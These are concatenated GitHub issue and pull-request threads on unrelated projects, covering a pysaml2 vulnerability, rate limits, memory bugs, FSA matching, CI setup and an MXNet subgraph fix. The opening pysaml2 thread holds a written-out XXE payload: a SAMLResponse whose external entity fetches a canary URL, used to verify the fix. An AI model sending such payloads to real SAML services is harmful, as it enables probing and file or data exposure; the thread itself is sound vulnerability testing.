  File "/usr/lib/python2.7/dist-packages/saml2/entity.py", line 949, in _parse_response
    response = response.verify(key_file)
  File "/usr/lib/python2.7/dist-packages/saml2/response.py", line 853, in verify
    res = self._verify()
  File "/usr/lib/python2.7/dist-packages/saml2/response.py", line 376, in _verify
    assert self.response.version == "2.0"
AttributeError: 'NoneType' object has no attribute 'version'

I tested only parse_authn_request_response() but I hope that every code path is similar to this method.

When reverting https://github.com/rohe/pysaml2/commit/6e09a25d9b4b7aa7a506853210a9a14100b8bc9b it is vulnerable again.

I cannot seem to reproduce this, at least with pysaml 4.4.0 and 4.0.0 using a vulnerable xmlsec1 against my ACS url using the SAMLResponse suggested.
As far as I can see from the commits + comments:

Latest release 4.4.0 may be vulnerable
Master has a fix (a fix, even with a vulnerable xmlsec1)

When reverting 6e09a25 it is vulnerable again.
is that staying in the code, or being reverted? Or did you revert to test?

Here's my fake SAMLResponse which  sends a request to my canary webserver when calling xmlsec1 from the command line, but not if given to my ACS view:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % payload SYSTEM "http://localhost:7722/canary"> %payload;]>

When is the next release planed?

pysaml2 version 4.5.0 has been released. This can now be closed.
If you feel differently, please do reopen and lets re-examine this.
Thanks


bug: 521/429

Prerequisites

[X] I have searched for existing issues that already report this problem, without success.

Script Version
1.1.7
Platform
Webapp
Current Behavior
Hello, I always get error codes 521/429 what can you do?
Expected Behavior
running again
Steps to Reproduce
running again
Additional Information
No response

Are you trying to bid or buy?

only bid

In Safety settings enable Delay After Buy

That was also on can now somehow no longer ask through web app

521/429 - Definitely mean you are sending too many requests. Increasing wait time is the only option here


State regen causes OOM

Describe the bug
Sync to slot 578307 and regen state from 502561 which caused a huge block range to reprocess and OOM happened
2020-10-24 11:59:20 [CHAIN]           ^[[34mdebug^[[39m: Block processed slot=578307, root=0xf147a2017ddb16d89b       4e82e0f9097adde4ec6d8e63064177da59351f45819eef
2020-10-24 11:59:24 [CHAIN]           ^[[34mdebug^[[39m: Block processed slot=502561, root=0xfe34181492bd5ae731       b03b39ade8e40ccb388d32cd4a9222a8b532848f22b10a
2020-10-24 11:59:24 [CHAIN]           ^[[34mdebug^[[39m: Block processed slot=502562, root=0x9e0abf1d2cd25f241e       3415768ac3bbef11be0da78f5bd6f6bb2d85b33f8f4222
...
2020-10-24 12:00:08 [CHAIN]           ^[[34mdebug^[[39m: Block processed slot=502684, root=0xc6832f690a0b129728       e7ef322d999147e50d297ff4aa0e3aeb856b512bfecee9
173099 2020-10-24 12:00:08 [CHAIN]           ^[[34mdebug^[[39m: Block processed slot=502687, root=0x5bce3c5f9d31986171       80ad012b8cd5b994b202df52d2dcd321c0c97170de21e1
173100
173101 <--- Last few GCs --->
173102
173103 [98471:0x10284d000] 16936548 ms: Mark-sweep 2004.3 (2067.5) -> 1988.3 (2067.5) MB, 1242.8 / 0.1 ms  (average mu        = 0.116, current mu = 0.029) allocation failure scavenge might not succeed
173104 [98471:0x10284d000] 16937903 ms: Mark-sweep 2004.6 (2067.8) -> 1988.6 (2067.8) MB, 1318.9 / 0.1 ms  (average mu        = 0.072, current mu = 0.027) allocation failure scavenge might not succeed

Note that block 502558 formed the justified checkpoint earlier, that's the last cached state where regen started from.
2020-10-24 07:36:39 [CHAIN]         ^[[36mverbose^[[39m: Fork choice justified epoch=15705, root=0x66ba71dfb29b       ada27c3f99e9823dac4272ff1a057814d0672353358571cb0142

Expected behavior
State regen should not cause OOM.

so I was able to reproduce another case where we synced up to slot 590113 and when it tried to get state for slot 589875 it had to regen (notice that I only have MAX_EPOCHS = 8  in the checkpoint state cache to easily reproduce)
I notice that 589875 is the chain head so probably that came from attestation processor
and it logged number of block to replay is 40511

didn't see this issue again in my latest sync after the above PR merged


Update jsonrpc requests with protocol requirements

I resolved the conflict from merging my types rename PR for you.


Login method from InGameWallet freezes the unity before to return the Account

Is your feature request related to a problem? Please describe.
The method Login does 2 things, first it unlocks the keystore using the provided password from the user. Second, it gets the account for the user. looks like the second task (GetAccount) freezes the unity and it's not possible to use in an async way.
Describe the solution you'd like
In order to avoid the freezing event and havingf a better feedbac kfor the user it's important to split the current Login method into to separate methods, one for the login and another just for the returning account. In this way the Logfijn would be a simple sync method. The GetAccount can be a async method and the developer can put it into a async workinglow avoind the problems with the unity API;.

Thanks @mixmob-julio , that would be a nice improvement. The encryption/saving to file part is the slow task that is freezing Unity. Maybe just moving it in background would make the method faster.
Are you working on this feature?

Thanks for the reply @GabrielePicco
I'm currently evaluating the use of this SDK in our project.

Closing as solved. Moved the encryption/file saving part in a Coroutine.


Random Jokes Extension

Hey @mrunal736 can you add a button that when clicked will give a new joke, rest is good

No problem @mrunal736, Good job 👏
Thanks for contributing 😄


feat: imporve CI

Fix #6

Update build and release CI
Add coverage CI
Fix clippy warnings

Welcome to Codecov :tada:
Once merged to your default branch, Codecov will compare your coverage reports and display the results in this comment.
Thanks for integrating Codecov - We've got you covered :open_umbrella:


FSATraversal may return NOT_FOUND instead of AUTOMATON_HAS_PREFIX

Hello,
I came across some behavior I find unexpected, but I am unsure if it is indeed unintended or not.
Here's a unit test I created using release 2.1.3 of morfologik-fsa and morfologik-fsa-builders:
import static org.junit.Assert.assertEquals;

import java.util.ArrayList;
import java.util.List;

import org.junit.Test;

import morfologik.fsa.FSA;
import morfologik.fsa.FSATraversal;
import morfologik.fsa.MatchResult;
import morfologik.fsa.builders.FSABuilder;

public class MorfologikTest {

    @Test
    public void expected() throws Exception {
        List<byte[]> inputs = new ArrayList<>();
        inputs.add("a".getBytes("UTF-8"));

        FSA fsa = FSABuilder.build(inputs);

        FSATraversal fsaTraversal = new FSATraversal(fsa);
        MatchResult match = fsaTraversal.match("ax".getBytes("UTF-8"));

        assertEquals(MatchResult.AUTOMATON_HAS_PREFIX, match.kind);
    }

    @Test
    public void unexpected() throws Exception {
        List<byte[]> inputs = new ArrayList<>();
        inputs.add("a".getBytes("UTF-8"));
        inputs.add("ab".getBytes("UTF-8"));

        FSA fsa = FSABuilder.build(inputs);

        FSATraversal fsaTraversal = new FSATraversal(fsa);
        MatchResult match = fsaTraversal.match("ax".getBytes("UTF-8"));

        assertEquals(MatchResult.AUTOMATON_HAS_PREFIX, match.kind);
    }
}

The test "expected" is successful ("green"), but the test "unexpected" fails ("red"), because match.kind is "NO_MATCH".
Is "NO_MATCH" the intended result or is there something wrong with my test?

The way it works is fine -- 'ax' returns no match because there was no such string in the dictionary. Prefix match is returned if your input string exists fully in the automaton, but does not correspond to any automaton string (think 'abc' encoded in the automaton and 'ab' query).
You can always traverse the automaton yourself -- FSATraversal are merely utilities, copy over the code and customize to your needs.

Sorry, maybe there's a misunderstanding.
In both cases the query "ax" is not accepted by the automaton, but its prefix "a" is.
While in the first test the matching result is "AUTOMATON_HAS_PREFIX", in the second test it is "NO_MATCH".
Shouldn't both cases produce the same matching result, since "a" is a prefix of "ax" and "a" is accepted by the automaton?

In both of these cases no-match is the right result. I explained above what automaton_has_prefix means in this context, but look at the code and you'll see the semantics of these enums.

Well in the first case the actual result is MatchResult.AUTOMATON_HAS_PREFIX

Darn, apologies Steven -- you're right, something is wrong here, I'll dig.

Much appreciated and no need to apologize!

I was trying to find the longest accepted string in an untokenized input sequence.
E.g.

accept regions of license plates in Austria: "Wels", "Wien", "Salzburg", ...
find the longest match at the start of an actual license plate, e.g. "Wien 12345 AA"

This worked very well with a small test sample of license plate regions since I got a match of kind "AUTOMATON_HAS_PREFIX" and the first unmatched index in the input sequence.
However when I completed the list of regions and added "Wels Umgebung", "Wien Umgebung", "Salzburg Umgebung" this suddenly stopped working and I got "NO_MATCH" instead.
I completely agree that a custom implementation of FSATraversal will do the trick and I think that's a valid solution. I was merely curious to see if that behavior was intentional or not, since I found it to be inconsistent.

Thanks for filing the bug report and sorry again for hasty response -- this code hasn't been touched for years and it's funny things like that go unnoticed for so long (means nobody actually used this stuff!).
I think what I'll do is I'll fix the AUTOMATON_HAS_PREFIX to actually work as expected and correct the JavaDocs on that class. I'll need to review the use cases in existing code (not just in morfologik-stemming, but in other places as well) and I'm currently on short holidays, so I'll go back to it next week at the earliest. If you can temporarily copy/paste the traversal routine into your own code you'll have full control over how it works.

I can definitely do the traversal in our own code and since I'm still in the experimentation phase I'm not in a hurry either.
Thank you for your time and your work!

Fixed and released, thanks Steven.


[Improve][DataProxy] DataProxy should support creating sink dynamically after started

Description
When there is no inlong group binding the mq cluster, inlong-dataproxy raise creating sink exception after started。
InLong Component
InLong DataProxy
Are you willing to submit PR?

[ ] Yes, I am willing to submit a PR!

Code of Conduct

[X] I agree to follow this project's Code of Conduct

This should be a problem, I'll fix it, thanks @bruceneenhl


Export RouteDefinition

Exporting RouteDefinition is useful in user land when you are defining your routes in a separate file.
This would allow for something like that:
import type { RouteDefinition } from 'solid-app-router'

export const routes: RouteDefinition[] = [
  {
    path: '/',
    component: 'pages/home.tsx'
  }
]

Thanks


Misc Dockerfile improvements

An arguably useless bump in upstream image version, plus a change which brings in a much more modern ffmpeg.

Probably should hold off on this one.  Turns out I broke rake because of this: https://github.com/phusion/passenger-docker/issues/215


add more information to pin-lerna-package-versions readme

Closing in advance of deprecation, this ticket is immaterial


Current Address 0.0 0.0

Hi,
thanks for this library dear.
i want use your library but when run application show me Current Address 0.0 0.0
and not show me my address info!
how can i fix it?

thanks, @tellfa, locationOn method is just call back use position changed to get the location.
`@Override
public void locationOn() {
Toast.makeText(this, "Location ON", Toast.LENGTH_SHORT).show();
easyWayLocation.beginUpdates();
diff.setText(String.valueOf(EasyWayLocation.calculateDistance(28.626686, 77.026409, 28.626799, 77.033619)));
}
@Override
public void onPositionChanged() {
    lati = easyWayLocation.getLatitude();
    longi = easyWayLocation.getLongitude();
    location.setText(EasyWayLocation.getAddress(this, lati, longi, false, true));
    latLong.setText(String.valueOf(lati) + "  " + String.valueOf(longi));
    Toast.makeText(this, String.valueOf(easyWayLocation.getLongitude()) + "," + String.valueOf(easyWayLocation.getLatitude()), Toast.LENGTH_SHORT).show();
}`


C++ client support for FreeBSD

Expected behavior
C++ client should build on FreeBSD. Would be good to have support for FreeBSD at least for the client libs.
Actual behavior
Various compile errors with NULL and then CRC32.
Steps to reproduce
Run a build on FreeBSD
System configuration
Pulsar version: x.y
I think it is the latest from github i.e. 1.22

@sholla can you provide more details about the errors you encountered?

C++ Client is permanently moved to https://github.com/apache/pulsar-client-cpp.
If this is still relevant, please open an issue there.


Updated elasticsearch client version to 6.1.0

The package used an ancient version of the elasticsearch client (1.5.8) which does not seem to be able to connect to recent elasticsearch 1.7 servers.

@simianhacker HELLO!? Update elasticsearch to latest please?

I'm adding @moooji as a contributor for both the this and the NPM package.

I pushed 0.0.3 to NPM


No metrics when I use tensorflow estimator

hi
I'm trying step functions data science sdk, but I ran into a issue
I created tf estimator in my jupyter  notebook like this:
tf_estimator = TensorFlow(                        entry_point='my_train_1.py',                        model_dir=model_dir,                        output_path=s3_output_location,                        train_instance_type=train_instance_type,                        train_instance_count=1,                        hyperparameters=hyperparameters,                        role=sagemaker.get_execution_role(),                        #base_job_name='tf-scriptmode-mnist',                        framework_version='2.0.0',                        py_version='py3',                        metric_definitions=metric_definitions,                        script_mode=True)
I really defined the "metric_definitions", but when I chained all steps as a workflow, and executed it.
there is no customer metrics in sagemaker console
but when I just create the estimator and fit without step functions data science sdk, I can get the metric.
what did I miss? or any suggestion?
thanks a lot

I had the same issue using sagemaker.sklearn.estimator.SKLearn
I had to manually add them to the step function definition under AlgorithmSpecification in the training state like so
"AlgorithmSpecification": {
  "TrainingImage": "someimage",
  "MetricDefinitions": [
         {
            "Name": "foo",
            "Regex": "bar=(.*?);"
         }
      ]
}

nually add them to the step function definit

thanks, bro!!!

It happens to be an issue in SageMaker SDK, I've created an issue on their repo.


Limit number of nodes used as seed nodes

This should be configurable. Maybe use negative values for "no limit".

This is quite important in case of huge clusters.


Need a design doc for ambient multicluster multi-network

Describe the feature request
Particularly for multi-network, some challenges outlined in https://github.com/istio/istio/issues/41375 from the initial investigation.
Also worth covering if multi-primary or primary-remote multicluster are valid patterns for ambient and what it would look like for single primary for ambient.
Describe alternatives you've considered
Affected product area (please put an X in all that apply)
[ x] Ambient
[ ] Docs
[ ] Installation
[ ] Networking
[ ] Performance and Scalability
[ ] Extensions and Telemetry
[ ] Security
[ ] Test and Release
[ ] User Experience
[ ] Developer Infrastructure
Affected features (please put an X in all that apply)
[x ] Multi Cluster
[ ] Virtual Machine
[ ] Multi Control Plane
Additional context

Design doc: https://docs.google.com/document/d/1MCRZWvlbZS6DLn5N4pD9ww2O-fL7jzi9-l0cWbqH1kk/edit.
Note: I would expect that we approve that (or similar), but do not actuallyimpement for ~6 months while we focus on the core.

Closing in favor of https://github.com/istio/istio/issues/41375


Add 'gobble' in build tools

Thanks for the suggestion, but I'm going to pass on this. It doesn't seem to have had much activity in the past year https://github.com/gobblejs/gobble/releases and very few users https://github.com/search?l=javascript&q=gobblefile.js&type=Code&utf8=✓

That's OK. I've been pinging the lead dev to try and revive the project, but he's busy making ES6 transpilers :-)


CoreValidation: vkCmdBindDescriptorSets() has an invalid per-DS check

In core_validation.cpp, vkCmdBindDescriptorSets() issues the following check in a loop which iterates over all defined descriptor sets:

The block I marked with red color seems to be a copy-paste of the green block. The check on its own definitely makes sense, but only if the red block is removed.
PR coming in a bit..

Dominik fixed this with #217
Sorry I hadn't seen this issue when I first closed that PR.


docker compose up kafka-to-http http-to-kafka

[ ] kafka key
[ ] Figure what to make configurable
[ ] Publish strategy
[ ] Performance test

https://github.com/trifork/cheetah-benthos/blob/cheetah-main/resources/docker/Dockerfile#L35


Enable Use of Custom S3 Endpoints

Resolves  #493
Add a new key to assets download and rendered video upload params object called endpoint where one can set a custom endpoint for a S3 compatible storage.
Download assets:
"assets": [
    {
        "src": "s3://eu-central-001.backblazeb2.com/background.jpg",
        "type": "image",
        "layerName": "background.png",
        "params": {
            "endpoint": "https://s3.eu-central-001.backblazeb2.com"
        }
    }
]

Upload assets (with nexrender-action-upload):
{
       "module": "@nexrender/action-upload",
       "input": "output.mp4",
       "provider": "s3",
       "params": {
             "endpoint": "https://s3.eu-central-001.backblazeb2.com",
             "bucket": "name-of-your-bucket",
             "key": "folder/output.mp4",
             "acl": "public-read"
        }
}

I've done basic tests with Backblaze B2 and I think Digital Ocean Spaces should work as well but I didn't test it myself so I didn't remove the check preventing its use, though I think it should work as well.

Great work @limzykenneth!


Refactor and test state request usage based on the state design RFC

Describe the solution you'd like
In #902, we created a design for the state service. This design includes a new interface for the state service.
We should modify the interface of the state service to match the design, and write test transcripts for each state request/response variant.
We should review all of the state service's callers, to make sure they are using the most efficient requests, for the information they actually want to access.
For example, the sync service checks if blocks are in the state using GetDepth, but discarding the height.
Some callers use utility functions to access the state. We should consider moving some of these utility functions into the state interface. But this comes at a cost - adding those functions to the state service's interface makes it harder to modify them in future.
Describe alternatives you've considered
See the RFC for details.
Additional context
Modifying the state interface also means modifying:

the sync service
the verifier services
any other state callers

We should make sure these callers have good test coverage for their state usage, before we make these changes.
Task List
Preparation:

[ ] make sure all of the state service's callers have good test coverage for their state usage

Note: these tests can be small - they should only cover the properties of the state that are required by the caller.
Implementation:

[x] make the state interface match the design RFC
[x] update callers to use the new state requests and responses

[ ] change callers to use more efficient requests, if possible

[ ] consider moving utility functions to the state's public interface

[ ] write tests for those functions

Testing:

[ ] write test transcripts that use each request enum variant
[ ] write test transcripts that use each response enum variant

Note: some requests have multiple possible responses.

@yaahc I think this ticket overlaps with the State RFC tracking issue, did you want to move these tests to the tracking issue, then close this ticket?

[ ] write test transcripts that use each request enum variant
[ ] write test transcripts that use each response enum variant

sure, went ahead and added them to https://github.com/ZcashFoundation/zebra/issues/1251


TinyMCE invalidly nests lists by default

Here is a description of the issue along with the solution: http://stackoverflow.com/questions/6917944/tinymce-makes-invalid-nested-lists
HtmlEditorConfig should have ->enablePlugins('lists') on by default to allow intelligent indention of lists.
I encountered this on SS version 3.0.5 and the issue was briefly discussed on the SilverStripe IRC channel today.
I hope I am submitting this in the right place, this is my first SilverStripe involvement on Github.

We encountered this issue also today with 3.1.5, simple solution was (after long search) to add:
HtmlEditorConfig::get('cms')->enablePlugins("lists");
to _config.php.
Reproduce the bug in Chrome:

create some text in HTMLEditorField
create a bullet list
view html source
you will see  in the source. Spans should not be there!

Please fix this, it's an annoying bug and clients will most of the time not notice it.

TinyMCE 4 probably resolves this in master


Add label for code source to container images

We should put a label in the Dockerfile to add a URL to the code repository.
Basically add this
LABEL org.opencontainers.image.source="https://github.com/ClimateImpactLab/dodola"

to Dockerfile.

This was closed in #195.


ast: fix return err value in Restore (#224)

What problem does this PR solve?
Fix #224, add return keyword when error occurs.
What is changed and how it works?
Check List
Tests

Unit test
Integration test
Manual test (add detailed scripts or steps below)
No code

Code changes

Has exported function/method change
Has exported variable/fields change
Has interface methods change

Side effects

Possible performance regression
Increased code complexity
Breaking backward compatibility

Related changes

Need to cherry-pick to the release branch
Need to update the documentation
Need to be included in the release note

@kennytm How to get one more approving review?

@loxp I will call someone to review this PR. Thanks!


Move build and test dependencies to devDependencies

Closes #4
This way users of this package won't install unnecessary dependencies.
Also replaced underscore with lodash since it was also present, to reduce amount of deps.

+1


post: go-ipfs as a Library

I uploaded it in HD but the quality on giphy is still not great. Although locally it is perfect

Uploaded it to IPFS at http://gateway.ipfs.io/ipfs/QmWgSVDmVDCPcf8zMHzXJTnDf6SFf9FpWXGDpXMozaBgQ6


alert on invalid input

the page must give an alert message when numbers are entered in place of text(alphabets).

please assign me this work i would like to work on this issue.

please assign me the issue i would love to work on it

@RituKumari98 Kindly assign this issue to me!
Fixes Issue🛠
Closes #80 Alert on invalid input
Description👨💻
The page should have a form validation where the input type of data must be checked, for example the format of email should be correct, numbers should be entered in the name section, etc.
Type of change📄

[x] Bug fix (non-breaking change which fixes an issue)
[x] New feature (non-breaking change which adds functionality)

Checklist✅

[x] My code will follow the style guidelines of this project
[x] I will performed a self-review of my own code
[x] I will comment my code, particularly in hard-to-understand areas
[x] I will add demonstration in the form of GIF/video file
[x] I am an Open Source Contributor (GSsoc'24)

I would like to contribute for this project. Please assign this task to me under GSSoC'24 with required labels.

Please assign me this issue under GSSOC 2024.


Update 1-24 attributions

Issue #, if available:
Description of changes:
Update 1.24 attributions
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

/lgtm

/lgtm

/approve


feat: create terraform for managing dns zone

Moved the core application terraform to terraform/container-app.
Added new directory for DNS zones as they should be created/updated less frequently then the rest of the application, so a stand alone set of terraform makes more sense for that.
Pipeline has been updated to still focus on just the container app code, I didn't want to include too many changes in one go.

need to update the validate terraform in the actions to look for .terraform-docs.yml in the new directory

need to update the validate terraform in the actions to look for .terraform-docs.yml in the new directory

The terraform-docs is running correctly on container-app, I've intentionally left the dns-zone folder out of the pipeline automation for the moment as I didn't want to over complicate the PR with a large refactor of the github action.

need to update the validate terraform in the actions to look for .terraform-docs.yml in the new directory

@Iain-Stanger
The terraform-docs is running correctly on container-app, I've intentionally left the dns-zone folder out of the pipeline automation for the moment as I didn't want to over complicate the PR with a large refactor of the github action.

to be honest, shouldn't be too bad anyway editing the action, just need to update the env. variable TF_WORKING_DIRECTORY: terraform to the correct folder

Adding some evidence of testing around the dns code:


Upgrade AudioMate.app to v2.2.5

Closes https://github.com/caskroom/homebrew-cask/issues/17862.

Merged as 8a875953fd4f4c3ac1cdbdbb93b154840cf7b32f.


Resize Option

Describe your suggested feature
Resize is the function used to resuze the the anime to fullscreen in mobiles so just do it!!!!!
Other details
Do it
Acknowledgements

[X] I have searched the existing issues and this is a new ticket, NOT a duplicate or related to another open issue.
[X] I have written a short but informative title.
[X] If this is an issue with an extension, I should be opening an issue in the extensions repository.
[X] I have updated the app to the latest version.
[X] I will fill out all of the requested information in this form.

are you kidding me


make python 3.5.2 supported if that is their only python version 2.7.x will be End-of-life in 2020.

I personally think it is a shame having it not support python 3.5.2+ luckily i have however VS2015 Community and python 2.7.11. But it does not include asyncio (which adds in coroutines and deamon threads and thread safe stuff). However some threads can crash anyway.

Please see any of the (many) other issues about python 2 vs 3 - as long as GYP needs python 2, node-gyp needs python 2.  Closing.


feat(dev): add gulp tasks

See Files changed tab for details.

@QingWei-Li Could you fix the previous commit messages so gulp changelog works as expected? I'm not sure how to do that.

@jrappen
Thank you for the PR. Is it done?

@QingWei-Li As far as I got, yes.
Maybe you could review the chinese translations and then fix previous commit messages so they'll work with gulp changelog if possible?

I see. let me do it.


Include hookRunInThisContext configuration

#75 - works in my project nsmockup
gulp.task('coverage', function () {
        return gulp.src(paths.js)
            .pipe(plugins.istanbul({
                includeUntested: true,
                instrumenter: require('isparta').Instrumenter
            })) // Covering files
            .pipe(plugins.istanbul.hookRunInThisContext()) // Force `vm.runInThisContext` to return covered files
            .on('finish', function () {
                let path = '/test/**/*'+ (file ? file + '*' : '') + '-test.js';
                gulp.src([appRoot + path])
                    .pipe(plugins.mocha({
                        reporters: 'spec'
                    }))
                    .pipe(plugins.istanbul.writeReports({
                        reports: ['lcovonly']
                    })); // Creating the reports after tests runned
            });
    });

Could you add unit tests and documentation too?

yeap ..

@danieljoppi hey, I see thing aren't moving on the Istanbul side. What should we do here in the meantime? I'd like to bring this PR to a conclusion, either merging or closing.


class labels for the lane boundaries of the TuSimple dataset

Hi,
Is it possible to include class labels to the lanes and group instances to a specific class (category) in the embedding feature?
Does the feature size somehow refer to the different instances that are detected?
Thanks :)

If you want to classify traffic line types, you can add an additional branch for class labels.
Feature size is determined experimentally. If you expect that many traffic lines will appear, the feature size can be increased.

Thank you for the reply.
I was wondering if by additional branch you mean to add out_class in the hourglass_block, passing it through the Output function? Do we also need to compute a loss in the train_point for this branch or is there a way to use the SPGN loss function information e.g the disc loss which would compute if the instance is the same class or not?
My goal is to assign class information to an instance.


Improve startup times

See commit messages for details.
There is no one specific JIRA for this, but this renders the following JIRAs obsolete.
https://issues.jboss.org/browse/ISPN-1399
https://issues.jboss.org/browse/ISPN-1438
Tested on CloudBees: https://infinispan.ci.cloudbees.com/job/Infinispan-maniksurtani-JDK6-tcp/

Integrated


Mirror my phones broken screen to my laptop via usb cable.

My phone has a broken screen and I need to see whats on it so I can save anything important?

Is USB debugging enabled?

ADB don't recognize device

So you need to enable USB debugging, which is difficult without seeing the screen.
If you have another identical device, you could try to record the actions needed to enable USB debugging (#4556) and replay them on your device. But this won't be simple for the pattern to unlock boot (I'm not even sure OTG mode works during boot).
Talkback might also help apparently (#4718).

Right. But if remember USB debugging was enabled. Well, thanks for now.

If you get nothing in adb devices, then it is not enabled (or the device is not detected).
If you get device unauthorized, then it is enabled, and it can be authorized: https://www.reddit.com/r/AndroidQuestions/comments/15ypn04/comment/jxdtsql/

It is detected by fastboot. Saw something about Windows drivers...I'll try on Linux, when I have the opportunity. Thanks @rom1v


Update MUI Dialog UI

Update the dialog box UI to make it more user friendly as
👉
or you can also use your imagination to make it look good.

i would love to fix this issue. It would be really kind if you could assigne it to me.

okay, go ahead.
The above image is just for the sample if you have a better design in your mind you can implement it.

Sorry, but I can't assign you to contribute to this repo

Good Work


Testing, please ignore. (ifkbpk)

This is a bug bounty test. Please ignore.. Please DO NOT APPROVE THIS! (ifkbpk)

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.ifkbpk vjohz seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.


Nested object with all undefined fields causes entire nested chain to be omitted

Consider an operation like so:
ref.set({
  a: {
    b: {
      c: undefined
    }
})

With ignoreUndefinedProperties: true, I would have expected the result written to Firestore to be
{
  a: {
    b: {}
  }
}

However the actual result is that the entire a→b→c nested chain is entirely omitted:
{}

Is this the intended behaviour?
I believe it is due to these lines below, which, when there are no other non-undefined fields in any of the objects, flows all the way up the chain causing the entire nested chain to be omitted.
https://github.com/googleapis/nodejs-firestore/blob/ac35b372faf32f093d83af18d487f1b3f23ee673/dev/src/serializer.ts#L205-L207
Essentially those lines mean than an object consisting entirely of undefined fields should be omitted (the object itself), rather than just serialised as an empty object.
Tested on @google-cloud/firestore version: 6.7.0.

@brettwillis Thank you for the bug report. I can confirm that this is indeed a bug, especially since it is inconsistent with the Firebase Web SDK (https://github.com/firebase/firebase-js-sdk) which behaves how you expect. I'll work on a fix and keep this issue updated with its progress.


Increase bot answers characters limit above 8000

Is your feature request related to a problem? Please describe.
Bot answers are restricted to 8000 characters.
Describe the feature you'd like
Bot answers have no characters restrictions.
Additional context
I saw the previous bug where it was mentioned that this 8000 characters limit exists due to the fact that Alexa and Lex are enforcing it, but the official LEX documentation does not specify anything about such a quota.

Hi @cristianbuta, thanks for the report and sorry for the delay in responding.
I've added this into the backlog for the team to investigate why the 8k limit was selected and to investigate what the implications of increasing this limit may be. There may have been other considerations besides just lex/alexa such as lambda payload sizes, env size restrictions etc.

Any movement on this? Also, is there a way to to connect to existing user pool?


assert services running after install

What does this PR do?

windows installer e2e tests
verify which services are and are not supposed to be running after install
Motivation

https://datadoghq.atlassian.net/browse/WINA-507
Additional Notes

Possible Drawbacks / Trade-offs

Describe how to test/QA your changes

/merge


Make RC_MAX_LAYERS  and RC_MAX_NEIS configurable at build time

Those are currently global constants, which require modifying recast's source itself (see this issue from a game that uses recast).
Would it be ok to make it possible to make this a cmake option instead? This way, it would be possible for users to at least change the value at compilation time without having to modify recast's code directly.
If yes, I'll write a PR for this.
Maybe it would be possible to make the value dynamic at runtime too, but I'm not sure how much this would require patching or if it would be a bad idea for performance or other techical reasons.

Hi!  I'm not terribly familiar with cmake's build configuration system, but I assume it's essentially setting C preprocessor variables like other build systems do.
I'd be open to moving these integers to #define's instead since it'd expose configuration to build systems like cmake, assuming that's what cmake options are operating with.


mxnet model to pytorch odd output shapes compared with  original mxnet implementation

Platform (like ubuntu 16.04/win10):
Debian
Python version:
3.7
Source framework with version (like Tensorflow 1.4.1 with GPU):
MXNET
Destination framework with version (like CNTK 2.3 with GPU):
Pytorch
Pre-trained model path (webpath or webdisk path):
https://www.dropbox.com/s/53ftnlarhyrpkg2/retinaface-R50.zip?dl=0
Running scripts:
I have tried to convert a maxnet model from https://www.dropbox.com/s/53ftnlarhyrpkg2/retinaface-R50.zip?dl=0 to pytorch via the command (the mxnet model is based on resnet50):
mmtoir -f mxnet -n R50-symbol.json -w R50-0000.params -d resnet50 --inputShape 3,112,112 &&\
mmtocode -f pytorch -n resnet50.pb --IRWeightPath resnet50.npy --dstModelPath pytorch_retinaface_resnet50.py -dw pytorch_retinaface_resnet50.npy

I have the resultant model, but when I run the input through it, it gives me a radically different output shape on the pytorch model, which makes no sense :(
When you see the original mxnet inference code (see example here: http://insightface.ai/build/examples_face_detection/demo_retinaface.html) and when you exec this:
bbox, landmark = model.detect(img, threshold=0.5, scale=1.0)
bbox has a dim of (6, 5) and landmarks has s shape of (6, 5, 2).
however, when I use the converted pytorch model and run a forwrad on it, I get bbox shape: (256, 28, 28) and landmarks shape (256, 28, 28).
I am not able to pinpoint exactly where this could be going wrong :(

Sorry for replying your issues too late and thank you for your issues. It's may be our implementation faults and we will fix it soon.


Removed duplicates, merged files in /Discovery/Web-Content/

Some files was the same except containing slashes. I think it unnecessary to have the same files with slashes and without slashes.

Big thanks for sorting this out! :) 👍


Fix for duplicate subgraph inputs/outputs

Description
Fixes #16108
Subgraph API can create duplicated tensors for both inputs to a subgraph and outputs from a subgraph. This happens when there are multiple nodes in a subgraph that consume the same input, or when there are multiple nodes that consume a single subgraph output. This results in tensor duplication, and causes OOM due to excessive memory usage.
Fix for duplicate inputs
Inputs to a subgraph are duplicated when there are multiple nodes in a subgraph consuming the same input. Here we change the behavior of CutGraphInputs function to store a NodeEntry for each input to the subgraph in a map, and re-use that node for each node in the subgraph that consumes that input. This prevents input nodes from being duplicated.
Fix for duplicate outputs
Similar to the inputs, when an output from a subgraph is consumed by multiple nodes outside the subgraph, the output is duplicated for each consumer. Here we change the behavior of CreateSubgraphNode to collapse duplicate output dependencies to a single output by checking if neighboring output entries are the same. If so we do not add another output, preventing duplicates.
Then in the ConnectSubgraphOutputs function we create dependencies from each node outside the subgraph that consumes a subgraph output. If neighboring nodes share the same subgraph output, they point to the same subgraph output.
Checklist
Essentials
Please feel free to remove inapplicable items for your PR.

[ ] Changes are complete (i.e. I finished coding on this PR)
[ ] All changes have test coverage:
Unit tests are added for small changes to verify correctness (e.g. adding a new operator)
Nightly tests are added for complicated/long-running ones (e.g. changing distributed kvstore)
Build tests will be added for build configuration changes (e.g. adding a new build option with NCCL)
[ ] Code is well-documented:
For user-facing API changes, API doc string has been updated.
For new C++ functions in header files, their functionalities and arguments are documented.
For new examples, README.md is added to explain the what the example does, the source of the dataset, expected performance on test set and reference to the original paper if applicable
Check the API doc at http://mxnet-ci-doc.s3-accelerate.dualstack.amazonaws.com/PR-$PR_ID/$BUILD_ID/index.html
[ ] To the my best knowledge, examples are either not affected by this change, or have been fixed to be compatible with this change

Changes

[ ] Fix for duplicate inputs, tests, (and when applicable, API doc)
[ ] Feature2, tests, (and when applicable, API doc)

@zheng-da @reminisce could you please review?

@mxnet-label-bot add [pr-awaiting-review]

@ZhennanQin for review. Any suggestions on how to better fix the problem?

@ZhennanQin ive made the changes, do they still look good? If so we can start going through and updating all other subgraph properties.
Regarding the update, what do you think we should do with properties that implement the standard logic for connectSubgraphInputs like:
https://github.com/apache/incubator-mxnet/blob/35e6d7a0edac416532bb754ba4e570a9df67463e/src/operator/subgraph/mkldnn/mkldnn_conv_property.h#L236-L243
Should we just eliminate this definition and continue to use the parent/standard implementation?

LGTM. Please coordinate all backends  with new ConnectSubgraphOutputs().

